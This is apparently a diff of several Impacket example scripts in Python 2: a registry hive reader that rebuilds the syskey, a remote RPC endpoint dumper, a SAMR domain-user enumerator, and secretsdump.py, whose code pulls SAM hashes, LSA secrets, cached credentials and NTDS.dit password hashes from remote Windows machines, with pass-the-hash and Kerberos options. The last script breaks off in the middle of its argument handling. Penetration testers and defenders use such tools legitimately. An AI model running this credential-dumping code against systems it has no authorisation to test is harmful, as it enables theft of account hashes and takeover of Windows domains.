'value name that is to be queried. If omitted, all value names for keyName are returned. ')
query_parser.add_argument('-ve', action='store_true', default=False, required=False, help='Queries for the default '
'value or empty value name')
query_parser.add_argument('-s', action='store_true', default=False, help='Specifies to query all subkeys and value '
'names recursively.')
# An add command
# add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry')
# An delete command
# delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry')
# A copy command
# copy_parser = subparsers.add_parser('copy', help='Copies a registry entry to a specified location in the remote '
# 'computer')
# A save command
# save_parser = subparsers.add_parser('save', help='Saves a copy of specified subkeys, entries, and values of the '
# 'registry in a specified file.')
# A load command
# load_parser = subparsers.add_parser('load', help='Writes saved subkeys and entries back to a different subkey in '
# 'the registry.')
# An unload command
# unload_parser = subparsers.add_parser('unload', help='Removes a section of the registry that was loaded using the '
# 'reg load operation.')
# A compare command
# compare_parser = subparsers.add_parser('compare', help='Compares specified registry subkeys or entries')
# A export command
# status_parser = subparsers.add_parser('export', help='Creates a copy of specified subkeys, entries, and values into'
# 'a file')
# A import command
# import_parser = subparsers.add_parser('import', help='Copies a file containing exported registry subkeys, entries, '
# 'and values into the remote computer\'s registry')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true",
help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on '
'target parameters. If valid credentials cannot be found, it will use the ones specified '
'in the command line')
group.add_argument('-aesKey', action="store", metavar="hex key",
help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store', metavar="ip address",
help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in '
'the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If ommited it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
# In case the password contains '@'
if '@' in remoteName:
password = password + '@' + remoteName.rpartition('@')[0]
remoteName = remoteName.rpartition('@')[2]
if options.target_ip is None:
options.target_ip = remoteName
if domain is None:
domain = ''
if options.aesKey is not None:
options.k = True
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
regHandler = RegHandler(username, password, domain, options)
try:
regHandler.run(remoteName, options.target_ip)
except Exception, e:
logging.error(str(e))

View File

@@ -0,0 +1,166 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies)
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description: A Windows Registry Reader Example
#
# Reference for:
# winregistry.py
#
import sys
import argparse
import ntpath
from binascii import unhexlify, hexlify
from impacket.examples import logger
from impacket import version
from impacket import winregistry
def bootKey(reg):
baseClass = 'ControlSet001\\Control\\Lsa\\'
keys = ['JD','Skew1','GBG','Data']
tmpKey = ''
for key in keys:
tmpKey = tmpKey + unhexlify(reg.getClass(baseClass + key).decode('utf-16le')[:8])
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
syskey = ''
for i in xrange(len(tmpKey)):
syskey += tmpKey[transforms[i]]
print hexlify(syskey)
def getClass(reg, className):
regKey = ntpath.dirname(className)
regClass = ntpath.basename(className)
value = reg.getClass(className)
if value is None:
return
print "[%s]" % regKey
print "Value for Class %s: \n" % regClass,
winregistry.hexdump(value,' ')
def getValue(reg, keyValue):
regKey = ntpath.dirname(keyValue)
regValue = ntpath.basename(keyValue)
value = reg.getValue(keyValue)
print "[%s]\n" % regKey
if value is None:
return
print "Value for %s:\n " % regValue,
reg.printValue(value[0],value[1])
def enumValues(reg, searchKey):
key = reg.findKey(searchKey)
if key is None:
return
print "[%s]\n" % searchKey
values = reg.enumValues(key)
for value in values:
print " %-30s: " % value,
data = reg.getValue('%s\\%s'%(searchKey,value))
# Special case for binary string.. so it looks better formatted
if data[0] == winregistry.REG_BINARY:
print ''
reg.printValue(data[0],data[1])
print ''
else:
reg.printValue(data[0],data[1])
def enumKey(reg, searchKey, isRecursive, indent=' '):
parentKey = reg.findKey(searchKey)
if parentKey is None:
return
keys = reg.enumKey(parentKey)
for key in keys:
print "%s%s" %(indent, key)
if isRecursive is True:
if searchKey == '\\':
enumKey(reg, '\\%s'%key,isRecursive,indent+' ')
else:
enumKey(reg, '%s\\%s'%(searchKey,key),isRecursive,indent+' ')
def walk(reg, keyName):
return reg.walk(keyName)
def main():
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Reads data from registry hives.")
parser.add_argument('hive', action='store', help='registry hive to open')
subparsers = parser.add_subparsers(help='actions', dest='action')
# A enum_key command
enumkey_parser = subparsers.add_parser('enum_key', help='enumerates the subkeys of the specified open registry key')
enumkey_parser.add_argument('-name', action='store', required=True, help='registry key')
enumkey_parser.add_argument('-recursive', dest='recursive', action='store_true', required=False, help='recursive search (default False)')
# A enum_values command
enumvalues_parser = subparsers.add_parser('enum_values', help='enumerates the values for the specified open registry key')
enumvalues_parser.add_argument('-name', action='store', required=True, help='registry key')
# A get_value command
getvalue_parser = subparsers.add_parser('get_value', help='retrieves the data for the specified registry value')
getvalue_parser.add_argument('-name', action='store', required=True, help='registry value')
# A get_class command
getclass_parser = subparsers.add_parser('get_class', help='retrieves the data for the specified registry class')
getclass_parser.add_argument('-name', action='store', required=True, help='registry class name')
# A walk command
walk_parser = subparsers.add_parser('walk', help='walks the registry from the name node down')
walk_parser.add_argument('-name', action='store', required=True, help='registry class name to start walking down from')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
reg = winregistry.Registry(options.hive)
if options.action.upper() == 'ENUM_KEY':
print "[%s]" % options.name
enumKey(reg, options.name, options.recursive)
elif options.action.upper() == 'ENUM_VALUES':
enumValues(reg, options.name)
elif options.action.upper() == 'GET_VALUE':
getValue(reg, options.name)
elif options.action.upper() == 'GET_CLASS':
getClass(reg, options.name)
elif options.action.upper() == 'WALK':
walk(reg, options.name)
reg.close()
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,180 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# DCE/RPC endpoint mapper dumper.
#
# Author:
# Javier Kohen <jkohen@coresecurity.com>
# Alberto Solino <beto@coresecurity.com>
#
# Reference for:
# DCE/RPC.
import sys
import logging
import argparse
from impacket.examples import logger
from impacket import uuid, version
from impacket.dcerpc.v5 import transport, epm
class RPCDump:
KNOWN_PROTOCOLS = {
135: {'bindstr': r'ncacn_ip_tcp:%s', 'set_host': False},
139: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]', 'set_host': True},
445: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]', 'set_host': True}
}
def __init__(self, username = '', password = '', domain='', hashes = None, port=135):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__port = port
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def dump(self, remoteName, remoteHost):
"""Dumps the list of endpoints registered with the mapper
listening at addr. remoteName is a valid host name or IP
address in string format.
"""
logging.info('Retrieving endpoint list from %s' % remoteName)
entries = []
stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remoteName
logging.debug('StringBinding %s'%stringbinding)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(self.__port)
if self.KNOWN_PROTOCOLS[self.__port]['set_host']:
rpctransport.setRemoteHost(remoteHost)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain,
self.__lmhash, self.__nthash)
try:
entries = self.__fetchList(rpctransport)
except Exception, e:
logging.critical('Protocol failed: %s' % e)
# Display results.
endpoints = {}
# Let's groups the UUIDS
for entry in entries:
binding = epm.PrintStringBinding(entry['tower']['Floors'], rpctransport.getRemoteHost())
tmpUUID = str(entry['tower']['Floors'][0])
if endpoints.has_key(tmpUUID) is not True:
endpoints[tmpUUID] = {}
endpoints[tmpUUID]['Bindings'] = list()
if epm.KNOWN_UUIDS.has_key(uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]):
endpoints[tmpUUID]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
else:
endpoints[tmpUUID]['EXE'] = 'N/A'
endpoints[tmpUUID]['annotation'] = entry['annotation'][:-1]
endpoints[tmpUUID]['Bindings'].append(binding)
if epm.KNOWN_PROTOCOLS.has_key(tmpUUID[:36]):
endpoints[tmpUUID]['Protocol'] = epm.KNOWN_PROTOCOLS[tmpUUID[:36]]
else:
endpoints[tmpUUID]['Protocol'] = "N/A"
#print "Transfer Syntax: %s" % entry['Tower']['Floors'][1]
for endpoint in endpoints.keys():
print "Protocol: %s " % endpoints[endpoint]['Protocol']
print "Provider: %s " % endpoints[endpoint]['EXE']
print "UUID : %s %s" % (endpoint, endpoints[endpoint]['annotation'])
print "Bindings: "
for binding in endpoints[endpoint]['Bindings']:
print " %s" % binding
print ""
if entries:
num = len(entries)
if 1 == num:
logging.info('Received one endpoint.')
else:
logging.info('Received %d endpoints.' % num)
else:
logging.info('No endpoints found.')
def __fetchList(self, rpctransport):
dce = rpctransport.get_dce_rpc()
dce.connect()
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
#dce.bind(epm.MSRPC_UUID_PORTMAP)
#rpcepm = epm.DCERPCEpm(dce)
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
return resp
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Dumps the remote RPC enpoints information.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('connection')
group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If '
'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '
'name and you cannot resolve it')
group.add_argument('-port', choices=['135', '139', '445'], nargs='?', default='135', metavar="destination port",
help='Destination port to connect to SMB Server')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')
#In case the password contains '@'
if '@' in remoteName:
password = password + '@' + remoteName.rpartition('@')[0]
remoteName = remoteName.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
if options.target_ip is None:
options.target_ip = remoteName
dumper = RPCDump(username, password, domain, options.hashes, int(options.port))
dumper.dump(remoteName, options.target_ip)

View File

@@ -0,0 +1,262 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: DCE/RPC SAMR dumper.
#
# Author:
# Javier Kohen <jkohen@coresecurity.com>
# Alberto Solino (@agsolino)
#
# Reference for:
# DCE/RPC for SAMR
import sys
import logging
import argparse
import codecs
from datetime import datetime
from impacket.examples import logger
from impacket import version
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5 import transport, samr
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.smb import SMB_DIALECT
class ListUsersException(Exception):
pass
class SAMRDump:
def __init__(self, username='', password='', domain='', hashes=None,
aesKey=None, doKerberos=False, kdcHost=None, port=445, csvOutput=False):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__port = port
self.__csvOutput = csvOutput
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
@staticmethod
def getUnixTime(t):
t -= 116444736000000000
t /= 10000000
return t
def dump(self, remoteName, remoteHost):
"""Dumps the list of users and shares registered present at
remoteName. remoteName is a valid host name or IP address.
"""
entries = []
logging.info('Retrieving endpoint list from %s' % remoteName)
stringbinding = 'ncacn_np:%s[\pipe\samr]' % remoteName
logging.debug('StringBinding %s'%stringbinding)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(self.__port)
rpctransport.setRemoteHost(remoteHost)
if hasattr(rpctransport,'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
try:
entries = self.__fetchList(rpctransport)
except Exception, e:
logging.critical(str(e))
# Display results.
if self.__csvOutput is True:
print '#Name,RID,FullName,PrimaryGroupId,BadPasswordCount,LogonCount,PasswordLastSet,PasswordDoesNotExpire,AccountIsDisabled,UserComment,ScriptPath'
for entry in entries:
(username, uid, user) = entry
pwdLastSet = (user['PasswordLastSet']['HighPart'] << 32) + user['PasswordLastSet']['LowPart']
if pwdLastSet == 0:
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(pwdLastSet)))
if user['UserAccountControl'] & samr.USER_DONT_EXPIRE_PASSWORD:
dontExpire = 'True'
else:
dontExpire = 'False'
if user['UserAccountControl'] & samr.USER_ACCOUNT_DISABLED:
accountDisabled = 'True'
else:
accountDisabled = 'False'
if self.__csvOutput is True:
print '%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s' % (username, uid, user['FullName'], user['PrimaryGroupId'],
user['BadPasswordCount'], user['LogonCount'],pwdLastSet,
dontExpire, accountDisabled, user['UserComment'].replace(',','.'),
user['ScriptPath'] )
else:
base = "%s (%d)" % (username, uid)
print base + '/FullName:', user['FullName']
print base + '/UserComment:', user['UserComment']
print base + '/PrimaryGroupId:', user['PrimaryGroupId']
print base + '/BadPasswordCount:', user['BadPasswordCount']
print base + '/LogonCount:', user['LogonCount']
print base + '/PasswordLastSet:',pwdLastSet
print base + '/PasswordDoesNotExpire:',dontExpire
print base + '/AccountIsDisabled:',accountDisabled
print base + '/ScriptPath:', user['ScriptPath']
if entries:
num = len(entries)
if 1 == num:
logging.info('Received one entry.')
else:
logging.info('Received %d entries.' % num)
else:
logging.info('No entries received.')
def __fetchList(self, rpctransport):
dce = rpctransport.get_dce_rpc()
entries = []
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
try:
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
domains = resp['Buffer']['Buffer']
print 'Found domain(s):'
for domain in domains:
print " . %s" % domain['Name']
logging.info("Looking up users in domain %s" % domains[0]['Name'])
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] )
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
domainHandle = resp['DomainHandle']
status = STATUS_MORE_ENTRIES
enumerationContext = 0
while status == STATUS_MORE_ENTRIES:
try:
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)
except DCERPCException, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp = e.get_packet()
for user in resp['Buffer']['Buffer']:
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])
print "Found user: %s, uid = %d" % (user['Name'], user['RelativeId'] )
info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation)
entry = (user['Name'], user['RelativeId'], info['Buffer']['All'])
entries.append(entry)
samr.hSamrCloseHandle(dce, r['UserHandle'])
enumerationContext = resp['EnumerationContext']
status = resp['ErrorCode']
except ListUsersException, e:
logging.critical("Error listing users: %s" % e)
dce.disconnect()
return entries
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "This script downloads the list of users for the "
"target system.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-csv', action='store_true', help='Turn CSV output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If '
'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '
'name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in remoteName:
password = password + '@' + remoteName.rpartition('@')[0]
remoteName = remoteName.rpartition('@')[2]
if domain is None:
domain = ''
if options.target_ip is None:
options.target_ip = remoteName
if options.aesKey is not None:
options.k = True
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
dumper = SAMRDump(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, int(options.port), options.csv)
dumper.dump(remoteName, options.target_ip)

View File

@@ -0,0 +1,358 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Performs various techniques to dump hashes from the
# remote machine without executing any agent there.
# For SAM and LSA Secrets (including cached creds)
# we try to read as much as we can from the registry
# and then we save the hives in the target system
# (%SYSTEMROOT%\\Temp dir) and read the rest of the
# data from there.
# For NTDS.dit we either:
# a. Get the domain users list and get its hashes
# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
# call, replicating just the attributes we need.
# b. Extract NTDS.dit via vssadmin executed with the
# smbexec approach.
# It's copied on the temp dir and parsed remotely.
#
# The script initiates the services required for its working
# if they are not available (e.g. Remote Registry, even if it is
# disabled). After the work is done, things are restored to the
# original state.
#
# Author:
# Alberto Solino (@agsolino)
#
# References: Most of the work done by these guys. I just put all
# the pieces together, plus some extra magic.
#
# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
# http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
# http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
# http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
# http://www.quarkslab.com/en-blog+read+13
# https://code.google.com/p/creddump/
# http://lab.mediaservice.net/code/cachedump.rb
# http://insecurety.net/?p=768
# http://www.beginningtoseethelight.org/ntsecurity/index.htm
# http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf
# http://www.passcape.com/index.php?section=blog&cmd=details&id=15
#
import argparse
import codecs
import logging
import os
import sys
from impacket import version
from impacket.examples import logger
from impacket.smbconnection import SMBConnection
from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
class DumpSecrets:
def __init__(self, address, username='', password='', domain='', options=None):
self.__useVSSMethod = options.use_vss
self.__remoteAddr = address
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = options.aesKey
self.__smbConnection = None
self.__remoteOps = None
self.__SAMHashes = None
self.__NTDSHashes = None
self.__LSASecrets = None
self.__systemHive = options.system
self.__securityHive = options.security
self.__samHive = options.sam
self.__ntdsFile = options.ntds
self.__history = options.history
self.__noLMHash = True
self.__isRemote = True
self.__outputFileName = options.outputfile
self.__doKerberos = options.k
self.__justDC = options.just_dc
self.__justDCNTLM = options.just_dc_ntlm
self.__justUser = options.just_dc_user
self.__pwdLastSet = options.pwd_last_set
self.__printUserStatus= options.user_status
self.__resumeFileName = options.resumefile
self.__canProcessSAMLSA = True
self.__kdcHost = options.dc_ip
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
def connect(self):
self.__smbConnection = SMBConnection(self.__remoteAddr, self.__remoteAddr)
if self.__doKerberos:
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, self.__kdcHost)
else:
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self):
try:
if self.__remoteAddr.upper() == 'LOCAL' and self.__username == '':
self.__isRemote = False
self.__useVSSMethod = True
localOperations = LocalOperations(self.__systemHive)
bootKey = localOperations.getBootKey()
if self.__ntdsFile is not None:
# Let's grab target's configuration about LM Hashes storage
self.__noLMHash = localOperations.checkNoLMHashPolicy()
else:
self.__isRemote = True
bootKey = None
try:
try:
self.connect()
except:
if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
logging.debug('SMBConnection didn\'t work, hoping Kerberos will help')
pass
else:
raise
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
self.__remoteOps.enableRegistry()
bootKey = self.__remoteOps.getBootKey()
# Let's check whether target system stores LM Hashes
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
except Exception, e:
self.__canProcessSAMLSA = False
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
and self.__doKerberos is True:
# Giving some hints here when SPN target name validation is set to something different to Off
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/
logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
else:
logging.error('RemoteOperations failed: %s' % str(e))
# If RemoteOperations succeeded, then we can extract SAM and LSA
if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
try:
if self.__isRemote is True:
SAMFileName = self.__remoteOps.saveSAM()
else:
SAMFileName = self.__samHive
self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
self.__SAMHashes.dump()
if self.__outputFileName is not None:
self.__SAMHashes.export(self.__outputFileName)
except Exception, e:
logging.error('SAM hashes extraction failed: %s' % str(e))
try:
if self.__isRemote is True:
SECURITYFileName = self.__remoteOps.saveSECURITY()
else:
SECURITYFileName = self.__securityHive
self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote)
self.__LSASecrets.dumpCachedHashes()
if self.__outputFileName is not None:
self.__LSASecrets.exportCached(self.__outputFileName)
self.__LSASecrets.dumpSecrets()
if self.__outputFileName is not None:
self.__LSASecrets.exportSecrets(self.__outputFileName)
except Exception, e:
logging.error('LSA hashes extraction failed: %s' % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
if self.__isRemote is True:
if self.__useVSSMethod and self.__remoteOps is not None:
NTDSFileName = self.__remoteOps.saveNTDS()
else:
NTDSFileName = None
else:
NTDSFileName = self.__ntdsFile
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
outputFileName=self.__outputFileName, justUser=self.__justUser,
printUserStatus= self.__printUserStatus)
try:
self.__NTDSHashes.dump()
except Exception, e:
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
logging.error(e)
if self.__useVSSMethod is False:
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
except (Exception, KeyboardInterrupt), e:
#import traceback
#print traceback.print_exc()
logging.error(e)
if self.__NTDSHashes is not None:
if isinstance(e, KeyboardInterrupt):
while True:
answer = raw_input("Delete resume session file? [y/N] ")
if answer.upper() == '':
answer = 'N'
break
elif answer.upper() == 'Y':
answer = 'Y'
break
elif answer.upper() == 'N':
answer = 'N'
break
if answer == 'Y':
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
try:
self.cleanup()
except:
pass
def cleanup(self):
logging.info('Cleaning up... ')
if self.__remoteOps:
self.__remoteOps.finish()
if self.__SAMHashes:
self.__SAMHashes.finish()
if self.__LSASecrets:
self.__LSASecrets.finish()
if self.__NTDSHashes:
self.__NTDSHashes.finish()
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from "
"the remote machine without executing any agent there.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL'
' (if you want to parse local files)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-system', action='store', help='SYSTEM hive to parse')
parser.add_argument('-security', action='store', help='SECURITY hive to parse')
parser.add_argument('-sam', action='store', help='SAM hive to parse')
parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse')
parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only '
'available to DRSUAPI approach). This file will also be used to keep updating the session\'s '
'state')
parser.add_argument('-outputfile', action='store',
help='base output filename. Extensions will be added for sam, secrets, cached and ntds')
parser.add_argument('-use-vss', action='store_true', default=False,
help='Use the VSS method insead of default DRSUAPI')
group = parser.add_argument_group('display options')
group.add_argument('-just-dc-user', action='store', metavar='USERNAME',
help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. '
'Implies also -just-dc switch')
group.add_argument('-just-dc', action='store_true', default=False,
help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)')
group.add_argument('-just-dc-ntlm', action='store_true', default=False,
help='Extract only NTDS.DIT data (NTLM hashes only)')
group.add_argument('-pwd-last-set', action='store_true', default=False,
help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data')
group.add_argument('-user-status', action='store_true', default=False,
help='Display whether or not the user is disabled')
group.add_argument('-history', action='store_true', help='Dump password history')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use'
' the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication'
' (128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if options.just_dc_user is not None:
if options.use_vss is True:
logging.error('-just-dc-user switch is not supported in VSS mode')
